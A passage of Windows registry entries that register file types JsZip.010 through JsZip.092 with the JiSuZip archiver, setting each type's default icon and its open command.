[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.010\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.011\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.011\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.012\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.012\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.013\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.013\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.014\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.014\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.015\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.015\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.016\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.016\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.017\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.017\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.018\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.018\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.019\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.019\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.02\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.02\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.020\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.020\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.021\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.021\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.022\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.022\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.023\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.023\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.024\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.024\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.025\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.025\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.026\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.026\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.027\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.027\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.028\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.028\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.029\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.029\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.03\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.03\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.030\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.030\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.031\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.031\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.032\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.032\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.033\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.033\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.034\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.034\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.035\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.035\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.036\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.036\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.037\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.037\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.038\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.038\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.039\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.039\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.04\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.04\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.040\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.040\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.041\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.041\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.042\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.042\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.043\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.043\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.044\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.044\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.045\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.045\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.046\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.046\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.047\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.047\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.048\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.048\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.049\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.049\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.05\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.05\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.050\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.050\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.051\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.051\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.052\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.052\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.053\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.053\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.054\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.054\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.055\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.055\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.056\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.056\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.057\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.057\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.058\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.058\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.059\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.059\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.06\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.06\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.060\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.060\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.061\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.061\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.062\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.062\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.063\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.063\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.064\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.064\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.065\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.065\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.066\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.066\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.067\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.067\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.068\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.068\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.069\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.069\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.07\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.07\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.070\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.070\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.071\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.071\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.072\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.072\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.073\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.073\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.074\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.074\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.075\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.075\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.076\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.076\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.077\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.077\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.078\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.078\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.079\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.079\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.08\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.08\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.080\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.080\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.081\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.081\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.082\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.082\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.083\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.083\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.084\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.084\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.085\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.085\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.086\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.086\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.087\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.087\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.088\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.088\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.089\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.089\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.09\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.09\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.090\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.090\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.091\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.091\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.092\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.092\shell\open\command]
